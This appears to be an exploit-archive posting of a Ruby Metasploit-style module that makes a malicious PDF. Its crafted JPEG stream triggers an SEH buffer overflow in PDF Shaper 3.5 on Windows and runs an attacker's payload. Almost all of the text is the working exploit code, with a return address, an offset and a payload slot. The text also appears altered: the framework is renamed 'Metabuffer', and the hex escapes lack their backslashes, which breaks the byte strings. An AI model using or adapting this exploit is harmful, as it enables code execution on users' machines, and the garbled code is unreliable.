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PDF Shaper Buffer Overflow

Posted on 11 August 2015

##
# This module requires Metabuffer: http://metabuffer.com/download
# Current source: https://github.com/rapid7/metabuffer-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 #Rank definition: http://dev.metabuffer.com/redmine/projects/framework/wiki/Exploit_Ranking
 #ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::PDF
 include Msf::Exploit::Seh

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'PDF Shaper Buffer Overflow',
 'Description' => %q{
 PDF Shaper is prone to a security vulnerability when processing PDF files.
 The vulnerability appear when we use Convert PDF to Image and use a specially crafted PDF file.
 This module has been tested successfully on Win Xp, Win 7, Win 8, Win 10.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'metacom<metacom27[at]gmail.com>', # Original discovery
 'metacom', # MSF Module
 ],
 'References' =>
 [
 [ 'OSVDB', '<insert OSVDB number here>' ],
 [ 'CVE', 'insert CVE number here' ],
 [ 'URL', '<insert another link to the exploit/advisory here>' ]
 ],
 'DefaultOptions' =>
 {
 'ExitFunction' => 'process', #none/process/thread/seh
 #'InitialAutoRunScript' => 'migrate -f',
 },
 'Platform' => 'win',
 'Payload' =>
 {
 'Space' => 2000,
 'DisableNops' => true,
 },

 'Targets' =>
 [
 [ '<Win Xp, Win 7, Win 8, Win 10 / PDF Shaper v.3.5>',
 {
 'Ret' => 0x00713726, # pop ebx # pop ebp # ret - PDFTools.exe
 'Offset' => 433
 }
 ],
 ],
 'Privileged' => false,
 #Correct Date Format: "M D Y"
 #Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec
 'DisclosureDate' => 'Aug 10 2015',
 'DefaultTarget' => 0))

 register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']),], self.class)

 end

 def exploit
 file_create(make_pdf)
 end

 def jpeg
 buffer = "xFFxD8xFFxEEx00x0Ex41x64x6Fx62x65x00x64x80x00x00"
 buffer << "x00x02xFFxDBx00x84x00x02x02x02x02x02x02x02x02x02"
 buffer << "x02x03x02x02x02x03x04x03x03x03x03x04x05x04x04x04"
 buffer << "x04x04x05x05x05x05x05x05x05x05x05x05x07x08x08x08"
 buffer << "x07x05x09x0Ax0Ax0Ax0Ax09x0Cx0Cx0Cx0Cx0Cx0Cx0Cx0C"
 buffer << "x0Cx0Cx0Cx0Cx0Cx0Cx0Cx01x03x02x02x03x03x03x07x05"
 buffer << "x05x07x0Dx0Ax09x0Ax0Dx0Fx0Dx0Dx0Dx0Dx0Fx0Fx0Cx0C"
 buffer << "x0Cx0Cx0Cx0Fx0Fx0Cx0Cx0Cx0Cx0Cx0Cx0Fx0Cx0Ex0Ex0E"
 buffer << "x0Ex0Ex0Cx11x11x11x11x11x11x11x11x11x11x11x11x11"
 buffer << "x11x11x11x11x11x11x11x11xFFxC0x00x14x08x00x32x00"
 buffer << "xE6x04x01x11x00x02x11x01x03x11x01x04x11x00xFFxC4"
 buffer << "x01xA2x00x00x00x07x01x01x01x01x01x00x00x00x00x00"
 buffer << "x00x00x00x04x05x03x02x06x01x00x07x08x09x0Ax0Bx01"
 buffer << "x54x02x02x03x01x01x01x01x01x00x00x00x00x00x00x00"
 buffer << "x01x00x02x03x04x05x06x07"
 buffer << rand_text(target['Offset']) #junk
 buffer << generate_seh_record(target.ret)
 buffer << payload.encoded
 buffer << rand_text(2388 - payload.encoded.length)
 return buffer

 end

 def nObfu(str)
 return str
 end

 def make_pdf
 # pdf template taken from PDF Shaper exploit module
 @pdf << header
 add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>"))
 add_object(2, nObfu("<</Type/Outlines>>"))
 add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>"))
 add_object(4, nObfu("[/PDF/Text/ImageC]"))
 add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>"))
 stream_1 = "stream" << eol
 stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
 stream_1 << "endstream" << eol
 add_object(6, nObfu("<</Length 91>>#{stream_1}"))
 stream = "<<" << eol
 stream << "/Width 230" << eol
 stream << "/BitsPerComponent 8" << eol
 stream << "/Name /X" << eol
 stream << "/Height 50" << eol
 stream << "/Intent /RelativeColorimetric" << eol
 stream << "/Subtype /Image" << eol
 stream << "/Filter /DCTDecode" << eol
 stream << "/Length #{jpeg.length}" << eol
 stream << "/ColorSpace /DeviceCMYK" << eol
 stream << "/Type /XObject" << eol
 stream << ">>"
 stream << "stream" << eol
 stream << jpeg << eol
 stream << "endstream" << eol
 add_object(7, stream)
 finish_pdf
 end

end

 

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